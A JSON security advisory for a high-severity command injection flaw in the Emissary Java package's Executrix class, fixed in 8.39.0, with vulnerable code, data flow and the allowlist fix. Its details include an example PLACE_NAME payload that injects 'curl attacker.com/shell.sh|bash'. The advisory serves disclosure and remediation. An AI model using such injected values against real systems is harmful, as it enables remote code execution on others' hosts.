ghsa-6c37-7w4p-jg9v

{
  "affected": [
    {
      "database_specific": {
        "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-6c37-7w4p-jg9v/GHSA-6c37-7w4p-jg9v.json"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "gov.nsa.emissary:emissary",
        "purl": "pkg:maven/gov.nsa.emissary/emissary"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.39.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "8.0.0",
        "8.1.0",
        "8.10.0",
        "8.11.0",
        "8.11.1",
        "8.12.0",
        "8.13.0",
        "8.14.0",
        "8.15.0",
        "8.16.0",
        "8.17.0",
        "8.18.0",
        "8.19.0",
        "8.19.1",
        "8.2.0",
        "8.20.0",
        "8.21.0",
        "8.22.0",
        "8.23.0",
        "8.24.0",
        "8.25.0",
        "8.26.0",
        "8.27.0",
        "8.28.0",
        "8.29.0",
        "8.3.0",
        "8.30.0",
        "8.31.0",
        "8.32.0",
        "8.33.0",
        "8.34.0",
        "8.35.0",
        "8.36.0",
        "8.37.0",
        "8.38.0",
        "8.4.0",
        "8.5.0",
        "8.6.0",
        "8.7.0",
        "8.7.1",
        "8.8.0",
        "8.9.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35581"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T00:12:50Z",
    "nvd_published_at": "2026-04-07T17:16:33Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `Executrix` utility class constructed shell commands by concatenating\nconfiguration-derived values — including the `PLACE_NAME` parameter — with\ninsufficient sanitization. Only spaces were replaced with underscores, allowing\nshell metacharacters (`;`, `|`, `$`, `` ` ``, `(`, `)`, etc.) to pass through\ninto `/bin/sh -c` command execution.\n\n## Details\n\n### Vulnerable code — `Executrix.java`\n\n**Insufficient sanitization (line 132):**\n```java\nthis.placeName = this.placeName.replace(' ', '_');\n// ONLY replaces spaces — shell metacharacters pass through\n```\n\n**Shell sink (line 1052–1058):**\n```java\nprotected String[] getTimedCommand(final String c) {\n    return new String[] {\"/bin/sh\", \"-c\", \"ulimit -c 0; cd \" + tmpNames[DIR] + \"; \" + c};\n}\n```\n\n### Data flow\n\n1. `PLACE_NAME` is read from a configuration file\n2. `Executrix` applies only a space-to-underscore replacement\n3. The `placeName` is used to construct temporary directory paths (`tmpNames[DIR]`)\n4. `tmpNames[DIR]` is concatenated into a shell command string\n5. The command is executed via `/bin/sh -c`\n\n### Example payload\n\n```\nPLACE_NAME = \"test;curl attacker.com/shell.sh|bash;x\"\n```\n\nAfter the original sanitization: `test;curl_attacker.com/shell.sh|bash;x`\n(semicolons, pipes, and other metacharacters preserved)\n\n### Impact\n\n- Arbitrary command execution on the Emissary host\n- Requires the ability to control configuration values (e.g., administrative\n  access or a compromised configuration source)\n\n## Remediation\n\nFixed in [PR #1290](https://github.com/NationalSecurityAgency/emissary/pull/1290),\nmerged into release 8.39.0.\n\nThe space-only replacement was replaced with an allowlist regex that strips all\ncharacters not matching `[a-zA-Z0-9_-]`:\n\n```java\nprotected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile(\"[^a-zA-Z0-9_-]\");\n\nprotected static String cleanPlaceName(final String placeName) {\n    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll(\"_\");\n}\n```\n\nThis ensures that any shell metacharacter in the `PLACE_NAME` configuration\nvalue is replaced with an underscore before it can reach a command string.\n\nTests were added to verify that parentheses, slashes, dots, hash, dollar signs,\nbackslashes, quotes, semicolons, carets, and at-signs are all sanitized.\n\n## Workarounds\n\nIf upgrading is not immediately possible, ensure that `PLACE_NAME` values in all\nconfiguration files contain only alphanumeric characters, underscores, and hyphens.\n\n## References\n\n- [PR #1290 — validate placename with an allowlist](https://github.com/NationalSecurityAgency/emissary/pull/1290)\n- Original report: GHSA-wjqm-p579-x3ww",
  "id": "GHSA-6c37-7w4p-jg9v",
  "modified": "2026-11-04T22:15:03.692627200Z",
  "published": "2026-04-08T00:12:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-6c37-7w4p-jg9v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35581"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/emissary/pull/1290"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NationalSecurityAgency/emissary"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NationalSecurityAgency/emissary/releases/tag/8.39.0"
    }
  ],
  "schema_version": "1.9.2",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Emissary has a Command Injection via PLACE_NAME Configuration in Executrix"
}